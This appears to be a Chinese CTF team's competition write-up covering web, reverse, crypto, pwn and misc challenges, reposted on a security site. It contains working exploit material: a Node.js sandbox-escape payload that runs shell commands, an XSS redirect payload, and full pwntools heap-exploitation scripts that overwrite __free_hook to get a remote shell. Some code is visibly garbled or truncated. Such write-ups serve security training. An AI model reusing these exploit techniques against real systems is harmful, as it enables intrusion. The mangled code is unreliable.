原创稿件征集 邮箱:edu@antvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里的热点话题漏洞、技术相关的调查或分析,稿件通过并发布还能收获200-800元不等的稿酬。
# bad_cat战队WRITEUP
一、 战队信息战队名称:bad_cat
战队排名:6
二、 解题情况 三、 解题过程 web **1、**ezyii网上搜yii的1day
https://xz.aliyun.com/t/9948#toc-6
思路类似于第四条链子
exp:
输入就可以写到session里面了
用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可
ls发现了/getflag.sh 因为过滤了flag,base一下才行

flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}
**4、**crawler_z
第一次我注册的yenan/yenan,填写profile后观察url出现token1
第二次admin/admin,直接ssrf伪造/user/verify?token=token1 
可以指定爬取
vps启动一个http
Python -m SimpleHTTPServer 11111
然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com

读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了
document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());


flag{f0425be6-3e46-472a-8879-e19525839caf}
5、Secrets_Of_Admin
源码拿到
admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
登陆
js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下
content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D…%2Ffiles%2Fflag%26checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E
得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8}
reverse
**1、**Rev_APC
生成dll代码
知道了 sha3-256,但是后面并没用上。
核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。
- dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。
- dll中调用DeviceIOControl,对应sys中的函数为0x140003660。
后面就是看算法了。
exp:
from zio import *
def fun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c = 81) & (c > 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]-a[i])&0xff
return a, b
def defun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c = 81) & (c > 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]+a[i])&0xff
return a, b
def fun5(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun4(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
for i in range(16):
b[2 * i] ^= (16 * a[2 * i]) & 0xff
b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf
return a, b
def fun3(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun2(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
b[i] ^= ((a[i]>>4)&0xf) | ((a[i]> 16)&0x7fff
def gen_order(seed=1):
srand(seed)
orders = []
for i in range(32):
orders.append(rand() % 6)
return orders
orders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)
flag{Kmode_Umode_Communication!}
**2、**勒索解密
分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0 
代码如下:
#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES
def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
data = cryptos.decrypt(decrpytBytes)
return data
key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()
def xor(enc, data):
res = []
for i in range(len(a)):
res += [enc[i]^data[i]]
return bytes(res)
for i in range(len(data)//16):
enc = base64.b64encode(data[16*i:16*(i+1)])
if i > 0:
ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
else:
ans = decrypt(enc, key)
fp2.write(ans)
f1.close()
f2.close()
解密得到flag如下:

3、**LightningSystem
从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下:
求解
def brute(v4, v5, a, b, j):
should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]
v13 = a
v14 = b
v15 = 7 * (j ^ 0x4D)
v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff
v18 = v13 - 0x20 + v16
v19 = (v14 - 0x20) > 8) + ((v15 + v5) >> 8)) & 0xff)
o2 = ((v18 + v19) & 0xff)
if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):
print a, b
return True
return False
v4 = 234
v5 = 6
s = ''
for k in range(21):
find = False
for a in range(0x20, 0x80):
for b in range(0x20, 0x80):
if brute(v4, v5, a, b, k):
s += chr(a)+chr(b)
find = True
break
if find:
break
if not find:
print ('fail')
print s
得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}
**4、**Rev_Dizzy
看反编译的代码,完了拿比较的数据反过来进行加减异或
代码太大,就不贴了,在附属文档(命名为deal.cpp)
跑出flag如下: 
crypto
**1、**Guess
先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。 
但这个函数的限制条件没调好,现在只能解出一个无用的特解。
首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可
msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:
var = var[1:-2].split(' ')
for x in var:
B.append(int(x))
BB = []
for i in range(0, len(B), 20):
BB.append(B[i: i + 20])
As = []
for i in range(1000):
shuffle(BB)
for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
if line[0] < 0:
line = -line
if line not in As and all(map(lambda x: 100 0x%x\033[0m' % (s, addr))
def bp(bkp=0, other=''):
if bkp == 0:
cmd = ''
elif bkp >8)&0xff) ##覆盖环境变量的位置
success(payload.encode('hex'))
edit(-260,payload)
add(0,'desh',0x20,'a')
dele(0)
add(0,'desh',0x10,'a')
add2(1,'desh',0x114514)
dele(0)
payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)
add(0,'desh',0x20,payload)
dele(0)
dele(1)
add(0,'\xa0',0x20,'\xa0')
add2(1,p64(0x10),0x20)
while True:
try:
p = remote("47.104.70.90",34524)
exploit()
aaa = ru("or corruption (!prev):")
print aaa
if "flag" in aaa:
pause()
except:
p.close()
continue
flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
**3、**PassWordBox_FreeVersion
fgets可以溢出一个\x00;
libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys
pc="./pwdFree"
reomote_addr=["47.104.71.220",38562]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']
if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
if len(sys.argv)==2 :
if 'l' in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0],reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log_level="debug"
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
what_choice="Input Your Choice:"
ch_add="1"
ch_dele="4"
ch_edit="2"
ch_show="3"
what_size="Length Of Your Pwd:"
what_c="Your Pwd:"
what_idx="Which PwdBox You Want Check:"
def add(ID,size,c=''): ##0x100
ru(what_choice)
sl(ch_add)
ru("Input The ID You Want Save:")
sl(ID)
ru(what_size)
sl(str(size))
ru(what_c)
sl(c)
def add2(ID,size,c=''): ##0x100
ru(what_choice)
sl(ch_add)
ru("Input The ID You Want Save:")
sl(ID)
ru(what_size)
sl(str(size))
ru(what_c)
sn(c)
def dele(idx):
ru(what_choice)
sl(ch_dele)
ru("Idx you want 2 Delete:")
sl(str(idx))
def edit(idx,c):
ru(what_choice)
sl(ch_edit)
sl(str(idx))
sn(c)
def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))
add('',0x20) #0
ru("Save ID:")
rv(8)
key = u64(rv(8))
for i in range(7): #1-7
add('d',0xf8)
add('d',0x28) #8
add('d',0xf8) #9
for i in range(2): #10-11
add('Desh',0x48)
add('D',0x28) #12
add('D',0xf8) #13
add('D',0x28) #14
for i in range(7):
dele(i+1)
dele(12)
add2('d',0x28,'a'*0x20+p64(0x1d0^key))
dele(9)
dele(13)
for i in range(8): #1-7 ,9
add('d',0xf8)
show(10)
ru("Pwd is: ")
libc_base = u64(rv(8))^key
libc_base -= 0x3ebca0
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
lg("libc_base",libc_base)
lg("free_hook",free_hook)
add('d',0x48) #13
dele(10)
edit(13,p64(free_hook))
add('d',0x40,p64(0x68732f6e69622f^key)) #10
add('d',0x40,p64(sys_addr^key))
dele(10)
lg("key",key)
shell()
flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
4、PassWordBox_ProVersion
存在UAF,且只能申请largebin大小的chunk
通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes 
之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
pc = './pwdPro'
# p = process(pc)
libc = ELF("./libc.so")
p = remote("47.104.71.220", 49261)
context.log_level = 'debug'
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
def add(idx, id, size, content="a\n"):
sla("Choice:", "1")
sla("Add:", str(idx))
sla("Save:", id)
sla("Of Your Pwd:", str(size))
sa("Your Pwd:", content)
def show(idx):
sla("Choice:", "3")
sla("", str(idx))
def edit(idx, content):
sla("Choice:", "2")
sla("Edit:", str(idx))
sn(content)
def dele(idx):
sla("Choice:", "4")
sla("Delete:", str(idx))
def re(idx):
sla("Choice:", "5")
sla("Recover:", str(idx))
add(0, "a", 0x450)
ru("ID:")
rv(8)
key = u64(rv(8))
print(hex(key))
add(1, "a", 0x420)
dele(0)
re(0)
show(0)
ru("Pwd is: ")
libc.address = (u64(rv(8))^key) - 0x1ebbe0
print(hex(libc.address))
add(0, "a", 0x450)
add(2, "a", 0x440)
add(3, "a", 0x420)
dele(0)
add(4, "a", 0x600)
dele(2)
re(0)
show(0)
ru("Pwd is: ")
rv(0x10)
heap_addr = u64(rv(8))^key
print(hex(heap_addr))
edit(0, p64(libc.address + 0x1ec010 )*2+p64(heap_addr)+p64(libc.address+0x1eb2d8-0x20-4)+'\n')
add(10, "a", 0x600)
add(11, "a", 0x800, p64(u64("/bin/sh\x00")^key)+"\n")
dele(10)
edit(0, "a"*0xe8+p64(libc.sym['__free_hook']))
add(12, "a", 0x600, p64(libc.sym['system']^key)+'\n')
dele(11)
shell()
flag{909cf735-b274-4098-885b-589300839b71}
5、JigSaw’sCage
存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址:

test函数可以执行输入的汇编代码
利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可:

add r10, 0x50068
mov r12, r10
sub r10, 0x1496b0
mov qword ptr [r12],r10
exp:
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys
pc="./JigSAW"
reomote_addr=["47.104.71.220",10273]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']
if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc.so"})
if len(sys.argv)==2 :
if 'l' in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0],reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log_level="debug"
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
what_choice="Choice : "
ch_add="1"
ch_dele="3"
ch_edit="2"
ch_show="5"
what_size=""
what_c="iNput:"
what_idx="Index? : "
def add(idx): # 0x10 5个
ru(what_choice)
sl(ch_add)
ru(what_idx)
sl(str(idx))
def dele(idx):
ru(what_choice)
sl(ch_dele)
ru(what_idx)
sl(str(idx))
def edit(idx,c): #0x10
ru(what_choice)
sl(ch_edit)
ru(what_idx)
sl(str(idx))
ru(what_c)
sn(c) ##
def test(idx):
ru(what_choice)
sl('4')
ru(what_idx)
sl(str(idx))
def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))
ru("Name:")
sl('desh')
ru("The result is ")
size = ru('\n')
print(int(size,10))
ru("Make your Choice:")
sl(str(0xffff00000000))
code1 = asm("add r10, 0x50068; mov r12, r10;")
code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")
add(0)
add(1)
add(2)
edit(0,code1)
edit(1,code2)
edit(2,'/bin/sh\x00')
test(0)
test(1)
dele(2)
shell()
flag{58591d4d-068f-47ed-9305-a65762917b06}
misc
**1、**层层取证
挂载镜像,在内存中找到密钥

bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406

发现一个流量包 
跟踪udp,打开,保存为zip格式 
右边有hint和开机密码同 
hashdump一下

解一下 xiaoming_handsome是压缩包密码
打开docx,还有一层密码

原始数据中搜索



**2、**鸣雏恋
解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。
解压zip,里面的key.txt是零宽

密码是 Because I like naruto best
解压缩包,转化0和1,一把梭出图片
from PIL import Image
from Crypto.Util.number import long_to_bytes
import base64
path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"
flag = "0b"
for i in range(129488):
_path=path+str(i)+".png"
a=Image.open(_path)
if a.size[0] == 23:flag+="0"
else:flag+="1"
cipher=int(flag, 2)
data=long_to_bytes(cipher)
data = str(data).split(',')[1].encode()
image_data = base64.b64decode(data)
with open('1.png', 'wb') as f:
f.write(image_data)

3、ChieftainsSecret
binwalk可以得到一个表和一张芯片示意图:
显然是要分析芯片的功能了。
表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息 
处理一下四组数据
https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间
x=cos_p-cos_n
y=sin_p-sin_n 
转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到:

逐个比对出峰值对应号码,得到77085962457。
实操推荐:
通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术。
赶快来靶场免费体验吧!